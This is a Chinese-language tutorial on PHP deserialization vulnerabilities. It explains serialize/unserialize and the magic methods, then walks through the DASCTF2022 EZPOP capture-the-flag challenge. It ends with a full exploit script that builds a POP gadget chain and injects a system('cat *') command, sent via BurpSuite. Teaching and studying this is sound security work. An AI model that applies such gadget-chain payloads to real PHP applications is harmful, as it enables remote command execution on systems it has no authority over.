PHP 反序列化
介绍
反序列化
官方描述:产生一个可存储的值的表示
serialize() 返回字符串,此字符串包含了表示
value
的字节流,可以存储于任何地方。
这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。
想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组/对象中的引用也将被存储。
当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。
就是将对象转换成字符串。字符串包括:属性名、属性值、属性类型和该对象对应的类名。简单的理解就是,再程序结束的时候,存在内存的记忆资料(变量,对象等)都会被立即销毁,但是有的时候,我们需要存储并传递一些持久类习性的数据时,就不能再将资料存储在内存里了,这时候,PHP 序列化就将记忆资料的变量存储在了档案中(比如存储在 MySQL 中)
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
序列化和反序列化在 PHP 应用系统中,一般被用作缓存(cookie、session 缓存等)
序列化
官方描述:从已存储的表示中创建 PHP 的值
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
序列化操作
<?php
class test{
public $flag = 'flag{f4111llaag}';
public $select = 'obtuse angle';
public $city = 'london';
}
$tester = new test;
$tester->flag = 'flag{gihgasi890}';
$tester->select = 'is D';
$tester->city='gaiya';
echo serialize($tester);
?>

__sleep() 函数对序列化的影响
如果存在 __sleep()
方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。因此我们就可以在 sleep()
方法里决定哪些属性可以被序列化。没有 __sleep()
方法则默认序列化所有属性。
<?php
class test{
public $flag = 'flag{f4111llaag}';
public $select = 'obtuse angle';
public $city = 'london';
public function __sleep(){
return array('flag','select');//会被序列化操作的就只有"flag"和"city"属性了
}
}
$tester = new test;
$tester->flag = 'flag{gihgasi890}';
$tester->select = 'is D';
$tester->city='gaiya';
echo serialize($tester);
?>

反序列化操作
<?php
$tester='O:4:"test":3:{s:4:"flag";s:16:"flag{gihgasi890}";s:6:"select";s:4:"is D";s:4:"city";s:5:"gaiya";}';
var_dump(unserialize($tester));
?>

__wakeup() 函数对反序列化的影响
有 __sleep()
函数那么就有对应的 __wakeup()
函数。unserialize()
会检查类中是否存在一个 __wakeup()
魔术方法,如果存在,则会先调用 __wakeup()
方法,再进行序列化操作。
<?php
class Test{
public $flag = 'flag{f4111llaag}';
public $select = 'obtuse angle';
public $city = 'london';
public function __wakeup(){
//改变flag属性的值
$this ->flag = "fsajfh";
}
}
$tester = new Test(); //实例化一个对象
$tester->flag = 'flag{gihgasi890}';
$tester->select = 'is D';
$tester->city='gaiya';
$str = serialize($tester);
echo $str;
echo '<pre>';
var_dump(unserialize($str));//调用反序列化函数,将str字符串转换成对象
?>
运行效果:略
总而言之,__wakeup()
函数是 unserialize()
函数执行前的最后一步操作。
反序列化漏洞介绍
原理
未对输入的序列化字符串进行一定规则的检测和过滤,导致攻击者通过控制反序列化的过程,利用代码执行、SQL 注入等不可控的漏洞展开攻击。
触发条件
unserialize()
函数的参数、变量可控。php
文件中存在可以利用的类,类中有魔术方法。
常见的魔术方法:
__construct()
:构造函数,在创建对象的时候触发,一般用于对变量赋初值__destruct()
:对象被销毁的时候触发(或者程序退出的时候自动调用)__call()
:在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法时触发__callstatic()
:在静态上下文中调用不可访问的方法触发__get()
:用于从不可访问的属性读取数据(不可访问包括私有属性,或者没有初始化的属性)__set()
:用于将数据写入不可访问的属性(在给不可访问属性赋值时,即调用私有属性的时候会自动执行)__isset()
:在不可访问的属性上调用isset()
或empty()
触发__unset()
:在不可访问的属性上使用unset()
时触发__invoke()
:当脚本尝试将对象调用为函数时触发__sleep()
:在调用serialize()
函数的时候会调用__wakeup()
:在调用unserialize()
函数的时候会调用__toString()
:当一个对象被当作一个字符串调用,把类当作字符串使用时触发,返回值需要为字符串,例如 echo 打印出对象就会调用此方法
实战运用
POP链知识
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者的目的。具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。
实例:[DASCTF2022_March]EZPOP
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
?>
分析:fin
类中 __destruct
析构,当类被销毁时自动执行,从这里开始。
__destruct
方法下有 echo
输出字符串可以调用 what
类中的 __tostring
魔术方法,__tostring
下的调用 run()
函数有两个类可用,选择 mix
类。mix
类中的 run()
函数 ($this->m1)();
使用函数的方式调用变量,触发 crow
类的 __invoke
魔术方法,在 __invoke
魔术方法中调用不存在的 world()
函数,触发 fin
类中的 __call
魔术方法,最后调用 mix
类的 get_flag()
函数进行命令执行。
需要注意 get_flag()
函数中的 eval('#' . $this->m1);
含有 #
注释符,可用 \n
换行符绕过
图解:

EXP
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
$fin1 = new fin();
$what = new what();
$mix1 = new mix();
$mix2 = new mix();
$crow = new crow();
$fin2 = new fin();
$fin1 -> f1 = $what;
$what -> a = $mix1;
$mix1 -> m1 = $crow;
$crow -> v1 = $fin2;
$fin2 -> f1 = $mix2;
$mix2 -> m1 = "\nsystem('cat *');";
echo urlencode(serialize($fin1));
?>
运行后得到字符串,使用 BurpSuite 发包即可得到 Flag。